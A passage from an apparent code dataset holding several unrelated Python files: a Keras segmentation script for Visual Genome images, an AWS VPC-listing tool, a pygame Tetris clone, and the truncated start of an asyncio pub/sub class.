as pd\nimport re\nimport json\nfrom pandas.io.json import json_normalize\n\nfrom PIL import Image \nimport glob\nfrom tqdm import tqdm\nimport six\n\nimport random\nimport os\n\nimport cv2\nimport numpy as np\nfrom keras.models import load_model\n\nfrom train import find_latest_checkpoint\nfrom data_utils.data_loader import get_image_array, get_segmentation_array, DATA_LOADER_SEED, class_colors , get_pairs_from_paths\nfrom models.config import IMAGE_ORDERING\nimport metrics\nfrom keras_segmentation.pretrained import pspnet_50_ADE_20K \n\nrandom.seed(DATA_LOADER_SEED)\n\n\n\njson.load((open('/media/kejitan/Blue4TB/datasets/VisualGenome/1.2/image_data.json')))\nwith open('/media/kejitan/Blue4TB/datasets/VisualGenome/1.2/image_data.json') as json_string:\n image_str = json.load(json_string)\n\nimage_str_data = json_normalize(image_str)\n\nfor i in range( 0, 100) :\n url = image_str_data.at[i, 'url']\n\n subfields = url.split('/')\n subdir = subfields[-2]\n if subdir == 'VG_100K' :\n imagedir = 'images'\n elif subdir == 'VG_100K_2' :\n imagedir = 'images2'\n image_name = subfields[-1]\n print(\"image_name = {}\", image_name)\n image_path = '/media/kejitan/Blue4TB/datasets/VisualGenome/1.2/'\n image_path = image_path+imagedir+'/'+subdir+'/'+image_name\n img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)\n resized = cv2.resize(img, (473,473), interpolation = cv2.INTER_AREA)\n cv2.imwrite('../VGdata/imgtrain100_jpg/'+image_name, resized)\n\njson_string.close() \n\nin_dir = \"../VGdata/imgtrain100_jpg/\"\nout_dir = \"../VGdata/imgtrain100_png/\"\n\nfor filename in os.listdir(in_dir):\n if filename.endswith(\".jpg\"): \n #convert png to jpg with cv2..\n im = Image.open(in_dir+filename)\n nameext = filename.split('.')\n name = nameext[0]\n rgb_im = im.convert('RGB')\n rgb_im.save(out_dir+nameext[0]+'.png')\n im.close()\n rgb_im.close()\n'''\ninp = glob.glob(os.path.join(in_dir, \"*.jpg\")) \nfor i, inp in enumerate(tqdm(inp)):\n\tif isinstance(inp, six.string_types):\n\t\tout_fname = os.path.basename(inp)\n\t\tfile, ext = os.path.splitext(out_fname)\n\t\tim = Image.open(inp)\n\t\trgb_im = im.convert('RGB')\n\t\trgb_im.save(out_dir + file + \".png\", \"PNG\")\n'''\ndef model_from_checkpoint_path(checkpoints_path):\n\n from models.all_models import model_from_name\n assert (os.path.isfile(checkpoints_path+\"_config.json\")\n ), \"Checkpoint not found.\"\n model_config = json.loads(\n open(checkpoints_path+\"_config.json\", \"r\").read())\n latest_weights = find_latest_checkpoint(checkpoints_path)\n assert (latest_weights is not None), \"Checkpoint not found.\"\n model = model_from_name[model_config['model_class']](\n model_config['n_classes'], input_height=model_config['input_height'],\n input_width=model_config['input_width'])\n print(\"loaded weights \", latest_weights)\n model.load_weights(latest_weights)\n return model\n\n\ndef predict(model=None, inp=None, out_fname=None, checkpoints_path=None):\n\n if model is None and (checkpoints_path is not None):\n model = model_from_checkpoint_path(checkpoints_path)\n\n assert (inp is not None)\n assert((type(inp) is np.ndarray) or isinstance(inp, six.string_types)\n ), \"Inupt should be the CV image or the input file name\"\n\n if isinstance(inp, six.string_types):\n inp = cv2.imread(inp)\n\n assert len(inp.shape) == 3, \"Image should be h,w,3 \"\n orininal_h = inp.shape[0]\n orininal_w = inp.shape[1]\n\n output_width = model.output_width\n output_height = model.output_height\n input_width = model.input_width\n input_height = model.input_height\n n_classes = model.n_classes\n\n x = get_image_array(inp, input_width, input_height, ordering=IMAGE_ORDERING)\n pr = model.predict(np.array([x]))[0]\n pr = pr.reshape((output_height, output_width, n_classes)).argmax(axis=2)\n\n seg_img = np.zeros((output_height, output_width, 3))\n colors = class_colors\n\n for c in range(n_classes):\n seg_img[:, :, 0] += ((pr[:, :] == c)*(colors[c][0])).astype('uint8')\n seg_img[:, :, 1] += ((pr[:, :] == c)*(colors[c][1])).astype('uint8')\n seg_img[:, :, 2] += ((pr[:, :] == c)*(colors[c][2])).astype('uint8')\n\n seg_img = cv2.resize(seg_img, (orininal_w, orininal_h))\n\n if out_fname is not None:\n cv2.imwrite(out_fname, seg_img)\n\n return pr\n\n\ndef predict_multiple(model=None, inps=None, inp_dir=None, out_dir=None,\n checkpoints_path=None):\n\n if model is None and (checkpoints_path is not None):\n model = model_from_checkpoint_path(checkpoints_path)\n\n if inps is None and (inp_dir is not None):\n inps = glob.glob(os.path.join(inp_dir, \"*.jpg\")) + glob.glob(\n os.path.join(inp_dir, \"*.png\")) + \\\n glob.glob(os.path.join(inp_dir, \"*.jpeg\"))\n\n assert type(inps) is list\n\n all_prs = []\n\n for i, inp in enumerate(tqdm(inps)):\n if out_dir is None:\n out_fname = None\n else:\n if isinstance(inp, six.string_types):\n out_fname = os.path.join(out_dir, os.path.basename(inp))\n else:\n out_fname = os.path.join(out_dir, str(i) + \".jpg\")\n\n pr = predict(model, inp, out_fname)\n all_prs.append(pr)\n\n return all_prs\n\n\n\ndef evaluate( model=None , inp_images=None , annotations=None,inp_images_dir=None ,annotations_dir=None , checkpoints_path=None ):\n \n if model is None:\n assert (checkpoints_path is not None) , \"Please provide the model or the checkpoints_path\"\n model = model_from_checkpoint_path(checkpoints_path)\n \n if inp_images is None:\n assert (inp_images_dir is not None) , \"Please privide inp_images or inp_images_dir\"\n assert (annotations_dir is not None) , \"Please privide inp_images or inp_images_dir\"\n \n paths = get_pairs_from_paths(inp_images_dir , annotations_dir )\n paths = list(zip(*paths))\n inp_images = list(paths[0])\n annotations = list(paths[1])\n \n assert type(inp_images) is list\n assert type(annotations) is list\n \n tp = np.zeros( model.n_classes )\n fp = np.zeros( model.n_classes )\n fn = np.zeros( model.n_classes )\n n_pixels = np.zeros( model.n_classes )\n \n for inp , ann in tqdm( zip( inp_images , annotations )):\n pr = predict(model , inp )\n gt = get_segmentation_array( ann , model.n_classes , model.output_width , model.output_height , no_reshape=True )\n gt = gt.argmax(-1)\n pr = pr.flatten()\n gt = gt.flatten()\n \n for cl_i in range(model.n_classes ):\n \n tp[ cl_i ] += np.sum( (pr == cl_i) * (gt == cl_i) )\n fp[ cl_i ] += np.sum( (pr == cl_i) * ((gt != cl_i)) )\n fn[ cl_i ] += np.sum( (pr != cl_i) * ((gt == cl_i)) )\n n_pixels[ cl_i ] += np.sum( gt == cl_i )\n \n cl_wise_score = tp / ( tp + fp + fn + 0.000000000001 )\n n_pixels_norm = n_pixels / np.sum(n_pixels)\n frequency_weighted_IU = np.sum(cl_wise_score*n_pixels_norm)\n mean_IU = np.mean(cl_wise_score)\n return {\"frequency_weighted_IU\":frequency_weighted_IU , \"mean_IU\":mean_IU , \"class_wise_IU\":cl_wise_score }\n\npredict_multiple(model=pspnet_50_ADE_20K(), inp_dir='../VGdata/imgtrain100_png', out_dir='../VGdata/anntrain100_png', checkpoints_path='./checkpoints')\n\n#predict_multiple(model='pspnet_50', inp_dir='VGdata/imgtrain', out_dir='VGdata/anntrain')\n\nfrom keras_segmentation.models.model_utils import transfer_weights\nfrom keras_segmentation.pretrained import pspnet_50_ADE_20K\nfrom keras_segmentation.models.pspnet import pspnet_50\n\npretrained_model = pspnet_50_ADE_20K()\n\nkeji_model1 = pspnet_50( n_classes=150 )\n\ntransfer_weights( pretrained_model , keji_model1 ) # transfer weights from pre-trained model to your model\n\nkeji_model1.train(\n train_images = \"../VGdata/imgtrain100_png/\",\n train_annotations = \"../VGdata/anntrain100_png/\",\n checkpoints_path = \"./checkpoints\" , epochs=1\n# checkpoints_path = \"./checkpoints/\" , epochs=1, verify_dataset = False\n)\n\n\n","sub_path":"keras_segmentation/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":8115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"603251549","text":"#!/usr/bin/env python\n\n\"\"\"\nExample Usage:\n\n ./list-vpcs.py\n\"\"\"\n\nfrom __future__ import print_function\n\nimport argparse\nimport boto3\nimport requests\nimport sys\n\nfrom botocore.exceptions import ClientError, EndpointConnectionError\nfrom prettytable import PrettyTable\n\nempty_string = ''\nunknown_string = 'Unknown'\nunknown_version = '0.0.0'\nunknown_int = 0\n\n\ndef main(cmdline=None):\n\n \"\"\"\n The main function. This takes the command line arguments provided and parse them.\n \"\"\"\n\n parser = make_parser()\n\n args = parser.parse_args(cmdline)\n\n if args.region:\n client = boto3.client('ec2', region_name=args.region)\n else:\n client = boto3.client('ec2')\n\n results = query_api(client, args)\n display_results(results)\n\n\ndef make_parser():\n\n \"\"\"\n This function builds up the command line parser that is used by the script.\n \"\"\"\n\n parser = argparse.ArgumentParser(description='List VPCs')\n parser.add_argument('-r', '--region', help='The aws region')\n\n return parser\n\n\ndef get_tag_value(tags, key):\n \"\"\"\n Process tags and look for a Name\n \"\"\"\n\n for tag in tags:\n if tag['Key'] == key:\n return tag['Value']\n\n return unknown_string\n\n\ndef get_tags(tags):\n \"\"\"\n Return the tags a string.\n \"\"\"\n\n tag_str = ''\n\n sorted_tags = sorted(tags, key=lambda k: k['Key'], reverse=False)\n for tag in sorted_tags:\n tag_str += '%s = %s\\n' % (tag['Key'], tag['Value'])\n tag_str = tag_str.rstrip('\\n')\n\n return tag_str\n\n\ndef query_api(client, args):\n \"\"\"\n Query the API\n \"\"\"\n\n results = []\n\n try:\n response = client.describe_vpcs()\n except EndpointConnectionError as e:\n print(\"ERROR: %s (Probably an invalid region!)\" % e)\n except Exception as e:\n print(\"Unknown error: \" + str(e))\n else:\n if 'Vpcs' in response:\n for parts in response['Vpcs']:\n tags = get_tags(parts['Tags']) if 'Tags' in parts else unknown_string\n results.append({\n 'Name': get_tag_value(parts['Tags'], 'Name') if 'Tags' in parts else unknown_string,\n 'CidrBlock': parts['CidrBlock'] if 'CidrBlock' in parts else unknown_string,\n 'VpcId': parts['VpcId'] if 'VpcId' in parts else unknown_string,\n 'State': parts['State'] if 'State' in parts else unknown_string,\n 'Tags': tags,\n })\n return results\n\n\ndef display_results(results):\n \"\"\"\n Display the results\n \"\"\"\n\n table = PrettyTable()\n\n table.field_names = [\n 'Name',\n 'CidrBlock',\n 'VpcId',\n 'State',\n 'Tags',\n ]\n\n for parts in results:\n table.add_row([\n parts['Name'],\n parts['CidrBlock'],\n parts['VpcId'],\n parts['State'],\n parts['Tags'],\n ])\n\n table.sortby = 'Name'\n print(table)\n\n\nif __name__ == \"__main__\":\n\n # This runs when the application is run from the command it grabs sys.argv[1:] which is everything after\n # the program name and passes it to main the return value from main is then used as the argument to\n # sys.exit, which you can test for in the shell. program exit codes are usually 0 for ok, and non-zero\n # for something going wrong.\n\n sys.exit(main(sys.argv[1:]))\n","sub_path":"src/ec2/list-vpcs/list-vpcs.py","file_name":"list-vpcs.py","file_ext":"py","file_size_in_byte":3599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"353097997","text":"import os, sys\nimport pygame\nfrom pygame.locals import *\nfrom random import randint\n\nglobal GREY, RED, GREEN, TEAL, PURPLE, YELLOW, WIDTH, HEIGHT, BLOCKSIZE, BLOCKMARGIN, X_CHANGE, Y_CHANGE\n\nGREY \t= ( 50, 50, 50)\nRED \t= (165, 50, 30)\nGREEN \t= ( 78, 165, 30)\nTEAL\t= ( 30, 146, 165)\nBLUE\t= ( 42, 74, 168)\nPURPLE\t= (117, 30, 165)\nYELLOW\t= (193, 218, 52)\nORANGE\t= (235, 155, 50)\nBLACK\t= ( 0, 0, 0)\nWHITE\t= (255, 255, 255)\n\nWIDTH \t\t= 620\nHEIGHT \t\t= 704\nBLOCKSIZE \t= 30\nBLOCKMARGIN = 2\nX_CHANGE\t= BLOCKSIZE + BLOCKMARGIN\nY_CHANGE\t= BLOCKSIZE + BLOCKMARGIN\nLEFTBOUND\t= 15\nRIGHTBOUND\t= LEFTBOUND+10*(BLOCKSIZE+BLOCKMARGIN)\n\nclass FallingBlock(pygame.sprite.Sprite):\n\n\ttype = ''\n\n\tdef __init__(self, type, x, y):\n\n\t\tpygame.sprite.Sprite.__init__(self)\n\n\t\tself.image = pygame.Surface([BLOCKSIZE, BLOCKSIZE])\n\t\tself.type = type\n\t\tif type == 'oBlock':\n\t\t\tself.image.fill(RED)\n\t\telif type == 'lBlock':\n\t\t\tself.image.fill(ORANGE)\n\t\telif type == 'jBlock':\n\t\t\tself.image.fill(BLUE)\n\t\telif type == 'sBlock':\n\t\t\tself.image.fill(GREEN)\n\t\telif type == 'zBlock':\n\t\t\tself.image.fill(PURPLE)\n\t\telif type == 'iBlock':\n\t\t\tself.image.fill(YELLOW)\n\t\telif type == 'tBlock':\n\t\t\tself.image.fill(TEAL)\n\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = x\n\t\tself.rect.y = y\n\n\tdef update(self):\n\t\tself.rect.y += Y_CHANGE\n\nclass Block(pygame.sprite.Sprite):\n\n\ttype = ''\n\n\tdef __init__(self, type, x, y):\n\n\t\tpygame.sprite.Sprite.__init__(self)\n\n\t\tself.image = pygame.Surface([BLOCKSIZE, BLOCKSIZE])\n\t\tself.type = type\n\t\tif type == 'oBlock':\n\t\t\tself.image.fill(RED)\n\t\telif type == 'lBlock':\n\t\t\tself.image.fill(ORANGE)\n\t\telif type == 'jBlock':\n\t\t\tself.image.fill(BLUE)\n\t\telif type == 'sBlock':\n\t\t\tself.image.fill(GREEN)\n\t\telif type == 'zBlock':\n\t\t\tself.image.fill(PURPLE)\n\t\telif type == 'iBlock':\n\t\t\tself.image.fill(YELLOW)\n\t\telif type == 'tBlock':\n\t\t\tself.image.fill(TEAL)\n\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = x\n\t\tself.rect.y = y\n\n\tdef update(self):\n\n\t\ta = 1\n\nclass TetrisMain:\n\n\t'''Handles main initialization and game creation'''\n\tdef __init__(self):\n\n\t\tpygame.init()\n\n\t\t'''Set window dimentions'''\n\t\tself.width = WIDTH\n\t\tself.height = HEIGHT\n\n\t\t'''Show the window'''\n\t\tself.screen = pygame.display.set_mode((self.width, self.height))\n\t\tpygame.display.set_caption(\"Tetris\")\n\n\tdef drawBoardSetup(self):\n\n\t\tself.screen.fill(GREY)\n\n\t\tpygame.draw.line(self.screen, WHITE, [LEFTBOUND-10, 0], [LEFTBOUND-10, HEIGHT], 10)\n\t\tpygame.draw.line(self.screen, WHITE, [RIGHTBOUND, 0], [RIGHTBOUND, HEIGHT], 10)\n\n\t\tpygame.display.flip()\n\n\tdef spawnBlock(self, activeSpritesList, type, x, y, position):\n\n\t\tif type == 'oBlock':\n\n\t\t\tfallingBlock1 = FallingBlock('oBlock', (x), (y))\n\t\t\tfallingBlock2 = FallingBlock('oBlock', (x+X_CHANGE), (y))\n\t\t\tfallingBlock3 = FallingBlock('oBlock', (x), (y+Y_CHANGE))\n\t\t\tfallingBlock4 = FallingBlock('oBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\t\t\n\n\t\telif type == 'lBlock':\n\n\t\t\tif position == 0:\n\n\t\t\t\tfallingBlock1 = FallingBlock('lBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('lBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('lBlock', (x), (y+2*Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('lBlock', (x+X_CHANGE), (y+2*Y_CHANGE))\n\n\t\t\telif position == 1:\n\n\t\t\t\tfallingBlock1 = FallingBlock('lBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('lBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('lBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock4 = FallingBlock('lBlock', (x+2*X_CHANGE), (y))\n\n\t\t\telif position == 2:\n\n\t\t\t\tfallingBlock1 = FallingBlock('lBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('lBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('lBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('lBlock', (x+X_CHANGE), (y+2*Y_CHANGE))\n\n\t\t\telse:\n\n\t\t\t\tfallingBlock1 = FallingBlock('lBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('lBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('lBlock', (x-X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('lBlock', (x-2*X_CHANGE), (y+Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\t\telif type == 'jBlock':\n\n\t\t\tif position == 0:\n\n\t\t\t\tfallingBlock1 = FallingBlock('jBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('jBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('jBlock', (x), (y+2*Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('jBlock', (x-X_CHANGE), (y+2*Y_CHANGE))\n\n\t\t\telif position == 1:\n\n\t\t\t\tfallingBlock1 = FallingBlock('jBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('jBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('jBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('jBlock', (x+2*X_CHANGE), (y+Y_CHANGE))\n\n\t\t\telif position == 2:\n\n\t\t\t\tfallingBlock1 = FallingBlock('jBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('jBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('jBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('jBlock', (x), (y+2*Y_CHANGE))\n\n\t\t\telse:\n\n\t\t\t\tfallingBlock1 = FallingBlock('jBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('jBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('jBlock', (x+2*X_CHANGE), (y))\n\t\t\t\tfallingBlock4 = FallingBlock('jBlock', (x+2*X_CHANGE), (y+Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\t\telif type == 'sBlock':\n\n\t\t\tif position == 0 or position == 2:\n\n\t\t\t\tfallingBlock1 = FallingBlock('sBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('sBlock', (x-X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('sBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('sBlock', (x+X_CHANGE), (y))\n\n\t\t\telse:\n\n\t\t\t\tfallingBlock1 = FallingBlock('sBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('sBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('sBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('sBlock', (x+X_CHANGE), (y+2*Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\t\telif type == 'zBlock':\n\n\t\t\tif position == 0 or position == 2:\n\t\t\t\n\t\t\t\tfallingBlock1 = FallingBlock('zBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('zBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('zBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('zBlock', (x+2*X_CHANGE), (y+Y_CHANGE))\n\n\t\t\telse:\n\n\t\t\t\tfallingBlock1 = FallingBlock('zBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('zBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('zBlock', (x-X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('zBlock', (x-X_CHANGE), (y+2*Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\t\telif type == 'iBlock':\n\n\t\t\tif position == 0 or position == 2:\n\t\t\t\n\t\t\t\tfallingBlock1 = FallingBlock('iBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('iBlock', (x), (y-Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('iBlock', (x), (y-2*Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('iBlock', (x), (y-3*Y_CHANGE))\n\n\t\t\telse:\n\t\t\t\n\t\t\t\tfallingBlock1 = FallingBlock('iBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('iBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('iBlock', (x+2*X_CHANGE), (y))\n\t\t\t\tfallingBlock4 = FallingBlock('iBlock', (x+3*X_CHANGE), (y))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\t\telif type == 'tBlock':\n\n\t\t\tif position == 0:\n\n\t\t\t\tfallingBlock1 = FallingBlock('tBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('tBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('tBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('tBlock', (x-X_CHANGE), (y+Y_CHANGE))\n\n\t\t\telif position == 1:\n\n\t\t\t\tfallingBlock1 = FallingBlock('tBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('tBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('tBlock', (x), (y+2*Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('tBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\n\t\t\telif position == 2:\n\n\t\t\t\tfallingBlock1 = FallingBlock('tBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('tBlock', (x+X_CHANGE), (y))\n\t\t\t\tfallingBlock3 = FallingBlock('tBlock', (x+2*X_CHANGE), (y))\n\t\t\t\tfallingBlock4 = FallingBlock('tBlock', (x+X_CHANGE), (y+Y_CHANGE))\n\n\t\t\telse:\n\n\t\t\t\tfallingBlock1 = FallingBlock('tBlock', (x), (y))\n\t\t\t\tfallingBlock2 = FallingBlock('tBlock', (x), (y+Y_CHANGE))\n\t\t\t\tfallingBlock3 = FallingBlock('tBlock', (x), (y+2*Y_CHANGE))\n\t\t\t\tfallingBlock4 = FallingBlock('tBlock', (x-X_CHANGE), (y+Y_CHANGE))\n\n\t\t\tactiveSpritesList.add(fallingBlock1, fallingBlock2, fallingBlock3, fallingBlock4)\n\t\t\tactiveSpritesList.position = position\n\n\tdef spawnRandomBlock(self, activeSpritesList, position):\n\n\t\trandomInt = randint(0,6)\n\n\t\tif randomInt == 0:\n\t\t\tself.spawnBlock(activeSpritesList, 'oBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 1:\n\t\t\tself.spawnBlock(activeSpritesList, 'lBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 2:\n\t\t\tself.spawnBlock(activeSpritesList, 'jBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 3:\n\t\t\tself.spawnBlock(activeSpritesList, 'sBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 4:\n\t\t\tself.spawnBlock(activeSpritesList, 'zBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 5:\n\t\t\tself.spawnBlock(activeSpritesList, 'iBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\t\telif randomInt == 6:\n\t\t\tself.spawnBlock(activeSpritesList, 'tBlock', (LEFTBOUND+5*X_CHANGE), 0, position)\n\n\tdef checkCollision(self, activeSpritesList, inactiveSpritesList):\n\n\t\tfor sprite in activeSpritesList.sprites():\n\n\t\t\tif (sprite.rect.y + Y_CHANGE) >= HEIGHT:\n\n\t\t\t\treturn True\n\n\t\t\tfor iSprite in inactiveSpritesList[(sprite.rect.y/Y_CHANGE + 1)].sprites():\n\n\t\t\t\tif iSprite.rect.x == sprite.rect.x:\n\n\t\t\t\t\treturn True\n\n\t\treturn False\n\n\tdef inactiveConvert(self, activeSpritesList, inactiveSpritesList):\n\n\t\tfor sprite in activeSpritesList.sprites():\n\n\t\t\tactiveSpritesList.remove(sprite)\n\n\t\t\tblock = Block(sprite.type, sprite.rect.x, sprite.rect.y)\n\t\t\tinactiveSpritesList[(sprite.rect.y)/(Y_CHANGE)].add(block)\n\n\tdef shiftLeft(self, activeSpritesList, inactiveSpritesList):\n\n\t\tfor sprite in activeSpritesList.sprites():\n\n\t\t\tif sprite.rect.x <= LEFTBOUND:\n\t\t\t\treturn\n\n\t\t\tfor iSprite in inactiveSpritesList[sprite.rect.y/Y_CHANGE]:\n\t\t\t\tif iSprite.rect.x == sprite.rect.x - X_CHANGE:\n\t\t\t\t\treturn\n\n\t\tfor sprite in activeSpritesList.sprites():\n\t\t\tsprite.rect.x -= X_CHANGE\n\n\tdef shiftRight(self, activeSpritesList, inactiveSpritesList):\n\n\t\tfor sprite in activeSpritesList.sprites():\n\n\t\t\tif sprite.rect.x >= RIGHTBOUND - X_CHANGE:\n\t\t\t\treturn\n\n\t\t\tfor iSprite in inactiveSpritesList[sprite.rect.y/Y_CHANGE]:\n\t\t\t\tif iSprite.rect.x == sprite.rect.x + X_CHANGE:\n\t\t\t\t\treturn\n\n\t\tfor sprite in activeSpritesList.sprites():\n\t\t\tsprite.rect.x += X_CHANGE\n\n\tdef rotate(self, activeSpritesList):\n\n\t\tif len(activeSpritesList) == 0:\n\t\t\treturn\n\n\t\txBlock = WIDTH - X_CHANGE\n\t\tyBlock = HEIGHT - Y_CHANGE\n\t\ttypeBlock = 'oBlock'\n\n\t\tfor sprite in activeSpritesList.sprites():\n\n\t\t\tif yBlock > sprite.rect.y:\n\t\t\t\txBlock = sprite.rect.x\n\t\t\t\tyBlock = sprite.rect.y\n\t\t\tif xBlock > sprite.rect.x:\n\t\t\t\tif yBlock >= sprite.rect.y:\n\t\t\t\t\txBlock = sprite.rect.x\n\t\t\t\t\tyBlock = sprite.rect.y\n\n\t\t\ttypeBlock = sprite.type\n\n\t\tactiveSpritesList.empty()\n\t\tself.spawnBlock(activeSpritesList, typeBlock, xBlock, yBlock, (activeSpritesList.position+1)%4)\n\n\tdef MainLoop(self):\n\n\t\tstate = 'Title'\n\t\tfont = pygame.font.SysFont('Gadget', 80, False, False)\n\t\tbackground = pygame.Surface(self.screen.get_size())\n\t\tbackground = background.convert()\n\t\tbackground.fill(GREY)\n\n\t\tactiveSpritesList = pygame.sprite.Group()\n\t\tinactiveSpritesList = []\n\t\tfor i in xrange(22):\n\t\t\tinactiveSpritesList.insert(i, pygame.sprite.Group())\n\n\t\tself.drawBoardSetup()\n\n\t\tclock = pygame.time.Clock()\n\n\t\twhile True:\n\n\t\t\t'''Event Loop'''\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type == pygame.QUIT:\n\t\t\t\t\tsys.exit()\n\n\t\t\t\tif event.type == pygame.KEYDOWN:\n\n\t\t\t\t\tif event.key == pygame.K_DOWN:\n\t\t\t\t\t\tself.spawnRandomBlock(activeSpritesList, 0)\n\n\t\t\t\t\telif event.key == pygame.K_UP:\n\t\t\t\t\t\tself.rotate(activeSpritesList)\n\n\t\t\t\t\telif event.key == pygame.K_LEFT:\n\t\t\t\t\t\tself.shiftLeft(activeSpritesList, inactiveSpritesList)\n\n\t\t\t\t\telif event.key == pygame.K_RIGHT:\n\t\t\t\t\t\tself.shiftRight(activeSpritesList, inactiveSpritesList)\n\n\t\t\t'''Game Logic'''\n\t\t\tif self.checkCollision(activeSpritesList, inactiveSpritesList):\n\t\t\t\tself.inactiveConvert(activeSpritesList, inactiveSpritesList)\n\n\t\t\t'''CUD'''\n\t\t\tactiveSpritesList.clear(self.screen, background)\n\t\t\tactiveSpritesList.update()\n\t\t\tactiveSpritesList.draw(self.screen)\n\n\t\t\tfor i in xrange(22):\n\t\t\t\tinactiveSpritesList[i].clear(self.screen, background)\n\t\t\t\tinactiveSpritesList[i].update()\n\t\t\t\tinactiveSpritesList[i].draw(self.screen)\n\n\t\t\tpygame.display.flip()\n\t\t\t\n\t\t\tclock.tick(2.5)\n\n\nif __name__ == \"__main__\":\n\n\tMainWindow = TetrisMain()\n\tMainWindow.MainLoop()","sub_path":"tetrisClone.py","file_name":"tetrisClone.py","file_ext":"py","file_size_in_byte":13114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"370995788","text":"#! /usr/bin/env python3\n\n\"\"\"\nsimple pubsub system\n\"\"\"\n\nimport asyncio\n\nimport patch\n\n\nclass PubSub:\n def __init__(self):\n self.subs = {}\n\n async def publish(self, k, v):\n if k in self.subs:\n for q in self.subs[k]:\n await q.put((k, v))\n\n async def subscribe(self, k):\n try:\n q = asyncio.Queue()\n\n if k not in 